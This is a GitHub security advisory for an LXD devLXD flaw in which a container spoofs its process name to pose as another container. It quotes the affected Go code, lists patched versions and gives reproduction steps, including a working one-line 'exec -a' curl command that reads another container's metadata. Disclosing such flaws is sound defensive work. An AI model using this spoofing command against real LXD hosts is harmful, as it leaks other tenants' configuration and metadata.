Skip to content

Source Container Identification Vulnerability via cmdline Spoofing in devLXD Server

Moderate
tomponline published GHSA-7232-97c6-j525 Oct 2, 2025

Package

lxd (lxd)

Affected versions

>= 4.0

Patched versions

6.5, 5.21.4

Description

Impact

In LXD's devLXD server, the source container identification process uses process cmdline (command line) information, allowing attackers to impersonate other containers by spoofing process names.

The core issue lies in the findContainerForPID function in lxd/api_devlxd.go.
This function identifies senders through two steps as shown below:

  1. cmdline-based identification: Check while tracing back through parent processes, and if it starts with [lxc monitor], extract the project name and container name from that process name in the format projectName_containerName.
  2. PID namespace-based identification: If not found in Step 1, check against all containers' PID namespaces.

lxd/lxd/api_devlxd.go

Lines 166 to 276 in 43d5189

func findContainerForPID(pid int32, s *state.State) (instance.Container, error) {
/*
* Try and figure out which container a pid is in. There is probably a
* better way to do this. Based on rharper's initial performance
* metrics, looping over every container and calling newLxdContainer is
* expensive, so I wanted to avoid that if possible, so this happens in
* a two step process:
*
* 1. Walk up the process tree until you see something that looks like
* an lxc monitor process and extract its name from there.
*
* 2. If this fails, it may be that someone did an `lxc exec foo -- bash`,
* so the process isn't actually a descendant of the container's
* init. In this case we just look through all the containers until
* we find an init with a matching pid namespace. This is probably
* uncommon, so hopefully the slowness won't hurt us.
*/
origpid := pid
for pid > 1 {
procPID := "/proc/" + strconv.Itoa(int(pid))
cmdline, err := os.ReadFile(procPID + "/cmdline")
if err != nil {
return nil, err
}
if strings.HasPrefix(string(cmdline), "[lxc monitor]") {
// container names can't have spaces
parts := strings.Split(string(cmdline), " ")
name := strings.TrimSuffix(parts[len(parts)-1], "\x00")
projectName := api.ProjectDefaultName
if strings.Contains(name, "_") {
projectName, name, _ = strings.Cut(name, "_")
}
inst, err := instance.LoadByProjectAndName(s, projectName, name)
if err != nil {
return nil, err
}
if inst.Type() != instancetype.Container {
return nil, errors.New("Instance is not container type")
}
// Explicitly ignore type assertion check. We've just checked that it's a container.
c, _ := inst.(instance.Container)
return c, nil
}
status, err := os.ReadFile(procPID + "/status")
if err != nil {
return nil, err
}
for line := range strings.SplitSeq(string(status), "\n") {
ppidStr, found := strings.CutPrefix(line, "PPid:")
if !found {
continue
}
// ParseUint avoid scanning for `-` sign.
ppid, err := strconv.ParseUint(strings.TrimSpace(ppidStr), 10, 32)
if err != nil {
return nil, err
}
if ppid > math.MaxInt32 {
return nil, errors.New("PPid value too large: Upper bound exceeded")
}
pid = int32(ppid)
break
}
}
origPidNs, err := os.Readlink(fmt.Sprintf("/proc/%d/ns/pid", origpid))
if err != nil {
return nil, err
}
instances, err := instance.LoadNodeAll(s, instancetype.Container)
if err != nil {
return nil, err
}
for _, inst := range instances {
if inst.Type() != instancetype.Container {
continue
}
if !inst.IsRunning() {
continue
}
initpid := inst.InitPID()
pidNs, err := os.Readlink(fmt.Sprintf("/proc/%d/ns/pid", initpid))
if err != nil {
return nil, err
}
if origPidNs == pidNs {
// Explicitly ignore type assertion check. The instance must be a container if we've found it via the process ID.
c, _ := inst.(instance.Container)
return c, nil
}
}
return nil, errPIDNotInContainer
}

Attackers can exploit Step 1 processing to impersonate arbitrary containers across projects by spoofing process names.

Reproduction Steps

  1. Access devLXD server from a normal container (e.g., EEEE):
root@EEEE:~# curl --unix-socket /dev/lxd/sock http://lxd-host/1.0/meta-data
instance-id: 9f928574-2561-4eff-af82-a68e57d3c68b
local-hostname: EEEE
  1. Use exec -a to spoof process name and impersonate another container (DDDD):
root@EEEE:~# bash -c "exec -a '[lxc monitor]' curl --unix-socket /dev/lxd/sock http://lxd-host/1.0/meta-data -x 'test-project_DDDD'"
instance-id: 1bb2f1c3-3ad2-4cd6-9965-67b14c3582cc
local-hostname: DDDD

This attack successfully obtains metadata (instance-id, local-hostname) of another container
DDDD from within container EEEE.

Risk

This vulnerability allows attackers to perform the following actions:

  1. Theft of other containers' metadata information
    Obtaining other containers' information via devLXD API's /1.0/meta-data endpoint:

    lxd/lxd/devlxd.go

    Lines 295 to 304 in 43d5189

    func devLXDMetadataGetHandler(d *Daemon, r *http.Request) response.Response {
    inst, err := getInstanceFromContextAndCheckSecurityFlags(r.Context(), devLXDSecurityKey)
    if err != nil {
    return response.DevLXDErrorResponse(err, inst != nil && inst.Type() == instancetype.VM)
    }
    meta := inst.ExpandedConfig()["user.meta-data"]
    resp := "instance-id: " + inst.CloudInitID() + "\nlocal-hostname: " + inst.Name() + "\n" + meta
    return response.DevLXDResponse(http.StatusOK, resp, "raw", inst.Type() == instancetype.VM)
    }

  2. Obtaining other containers' configuration information via devLXD API's /1.0/config and /1.0/config/{key} endpoints:

    lxd/lxd/devlxd.go

    Lines 175 to 221 in 43d5189

    func devLXDConfigGetHandler(d *Daemon, r *http.Request) response.Response {
    inst, err := getInstanceFromContextAndCheckSecurityFlags(r.Context(), devLXDSecurityKey)
    if err != nil {
    return response.DevLXDErrorResponse(err, inst != nil && inst.Type() == instancetype.VM)
    }
    filtered := []string{}
    hasSSHKeys := false
    hasVendorData := false
    hasUserData := false
    for k := range inst.ExpandedConfig() {
    if !strings.HasPrefix(k, "user.") && !strings.HasPrefix(k, "cloud-init.") {
    continue
    }
    if strings.HasPrefix(k, "cloud-init.ssh-keys.") {
    // cloud-init.ssh-keys keys are not to be retrieved by cloud-init directly, but instead LXD converts them
    // into cloud-init config and merges it into cloud-init.[vendor|user]-data.
    // This way we can make use of the full array of options proivded by cloud-config for injecting keys
    // and not compromise any cloud-init config defined on the instance's expanded config.
    hasSSHKeys = true
    continue
    }
    if slices.Contains(cloudinit.VendorDataKeys, k) {
    hasVendorData = true
    } else if slices.Contains(cloudinit.UserDataKeys, k) {
    hasUserData = true
    }
    filtered = append(filtered, "/1.0/config/"+k)
    }
    // If [vendor|user]-data are not defined, cloud-init should still request for them if there are SSH keys defined via
    // "cloud-init.ssh.keys". Use both user.* and cloud-init.* for compatibitily with older cloud-init.
    if hasSSHKeys && !hasVendorData {
    filtered = append(filtered, "/1.0/config/cloud-init.vendor-data")
    filtered = append(filtered, "/1.0/config/user.vendor-data")
    }
    if hasSSHKeys && !hasUserData {
    filtered = append(filtered, "/1.0/config/cloud-init.user-data")
    filtered = append(filtered, "/1.0/config/user.user-data")
    }
    return response.DevLXDResponse(http.StatusOK, filtered, "json", inst.Type() == instancetype.VM)
    }

    lxd/lxd/devlxd.go

    Lines 228 to 267 in 43d5189

    func devLXDConfigKeyGetHandler(d *Daemon, r *http.Request) response.Response {
    inst, err := getInstanceFromContextAndCheckSecurityFlags(r.Context(), devLXDSecurityKey)
    if err != nil {
    return response.DevLXDErrorResponse(err, inst != nil && inst.Type() == instancetype.VM)
    }
    key, err := url.PathUnescape(mux.Vars(r)["key"])
    if err != nil {
    return response.DevLXDErrorResponse(api.StatusErrorf(http.StatusBadRequest, "bad request"), inst.Type() == instancetype.VM)
    }
    if !strings.HasPrefix(key, "user.") && !strings.HasPrefix(key, "cloud-init.") {
    return response.DevLXDErrorResponse(api.StatusErrorf(http.StatusForbidden, "not authorized"), inst.Type() == instancetype.VM)
    }
    var value string
    isVendorDataKey := slices.Contains(cloudinit.VendorDataKeys, key)
    isUserDataKey := slices.Contains(cloudinit.UserDataKeys, key)
    // For values containing cloud-init seed data, try to merge into them additional SSH keys present on the instance config.
    // If parsing the config is not possible, abstain from merging the additional keys.
    if isVendorDataKey || isUserDataKey {
    cloudInitData := cloudinit.GetEffectiveConfig(inst.ExpandedConfig(), key, inst.Name(), inst.Project().Name)
    if isVendorDataKey {
    value = cloudInitData.VendorData
    } else {
    value = cloudInitData.UserData
    }
    } else {
    value = inst.ExpandedConfig()[key]
    }
    // If the resulting value is empty, return Not Found.
    if value == "" {
    return response.DevLXDErrorResponse(api.StatusErrorf(http.StatusNotFound, "not found"), inst.Type() == instancetype.VM)
    }
    return response.DevLXDResponse(http.StatusOK, value, "raw", inst.Type() == instancetype.VM)
    }

  3. Obtaining other containers' device information via devLXD API's /1.0/devices endpoint:

    lxd/lxd/devlxd.go

    Lines 377 to 395 in 43d5189

    func devLXDDevicesGetHandler(d *Daemon, r *http.Request) response.Response {
    inst, err := getInstanceFromContextAndCheckSecurityFlags(r.Context(), devLXDSecurityKey)
    if err != nil {
    return response.DevLXDErrorResponse(err, inst != nil && inst.Type() == instancetype.VM)
    }
    // Populate NIC hwaddr from volatile if not explicitly specified.
    // This is so cloud-init running inside the instance can identify the NIC when the interface name is
    // different than the LXD device name (such as when run inside a VM).
    localConfig := inst.LocalConfig()
    devices := inst.ExpandedDevices()
    for devName, devConfig := range devices {
    if devConfig["type"] == "nic" && devConfig["hwaddr"] == "" && localConfig["volatile."+devName+".hwaddr"] != "" {
    devices[devName]["hwaddr"] = localConfig["volatile."+devName+".hwaddr"]
    }
    }
    return response.DevLXDResponse(http.StatusOK, inst.ExpandedDevices(), "json", inst.Type() == instancetype.VM)
    }

    Particularly in environments where multiple projects run containers on the same LXD host,
    inter-project information leakage may occur. The attack prerequisite is root privileges within
    any container.

Countermeasures

While containers basically run in separate PID namespaces, based on investigation, the [lxc monitor] process runs in the same PID namespace as the LXD execution process. Therefore, the problem can be resolved by modifying the implementation to use cmdline information only when the PID namespace of the target process matches the PID namespace of the process running LXD.

Patches

LXD Series Status
6 Fixed in LXD 6.5
5.21 Fixed in LXD 5.21.4
5.0 Ignored - Not critical
4.0 Ignored - EOL and not critical

References

Reported by GMO Flatt Security Inc.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N

CVE ID

CVE-2025-54288

Weaknesses

No CWEs